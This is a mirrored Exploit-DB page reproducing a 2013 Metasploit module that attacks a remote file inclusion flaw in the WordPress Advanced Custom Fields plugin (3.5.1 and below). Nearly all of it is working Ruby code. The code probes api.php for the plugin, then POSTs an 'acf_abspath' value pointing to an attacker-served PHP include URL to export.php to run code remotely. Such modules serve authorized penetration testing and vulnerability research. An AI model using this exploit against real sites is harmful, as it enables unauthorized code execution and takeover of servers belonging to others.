WordPress Plugin Advanced Custom Fields – Remote File Inclusion (Metasploit)

  • 作者: Metasploit
    日期: 2013-01-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23856/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::Remote::HttpServer::PHPInclude
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
    			'Description'=> %q{
    					This module exploits a remote file inclusion flaw in the WordPress blogging
    				software plugin known as Advanced Custom Fields. The vulnerability allows for remote
    				file inclusion and remote code execution via the export.php script. The Advanced
    				Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
    				works when the php option allow_url_include is set to On (Default Off).
    			},
    			'Author' =>
    				[
    					'Charlie Eriksen <charlie@ceriksen.com>',
    				],
    			'License'=> MSF_LICENSE,
    			'References' =>
    				[
    					['OSVDB', '87353'],
    					['URL', 'http://secunia.com/advisories/51037/'],
    				],
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'DisableNops' => true,
    					'Compat'=>
    						{
    							'ConnectionType' => 'find',
    						},
    				},
    			'Platform' => 'php',
    			'Arch' => ARCH_PHP,
    			'Targets'=> [[ 'Automatic', { }]],
    			'DisclosureDate' => 'Nov 14 2012',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
    				OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
    			], self.class)
    	end
    
    	def check
    		uri = target_uri.path
    		uri << '/' if uri[-1,1] != '/'
    		uri << datastore['PLUGINSPATH']
    		uri << '/' if uri[-1,1] != '/'
    
    		res = send_request_cgi({
    			'method' => 'POST',
    			'uri'=> "#{uri}advanced-custom-fields/core/api.php"
    		})
    
    		if res and res.code == 200
    			return Exploit::CheckCode::Detected
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    	def php_exploit
    		uri = target_uri.path
    		uri << '/' if uri[-1,1] != '/'
    		uri << datastore['PLUGINSPATH']
    		uri << '/' if uri[-1,1] != '/'
    
    		print_status('Sending request')
    		res = send_request_cgi({
    			'method' => 'POST',
    			'uri'=> "#{uri}advanced-custom-fields/core/actions/export.php",
    			'data' => "acf_abspath=#{php_include_url}"
    		})
    
    		if res and res.body =~ /allow_url_include/
    			fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled')
    		elsif res.code != 200
    			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    		end
    
    	end
    
    end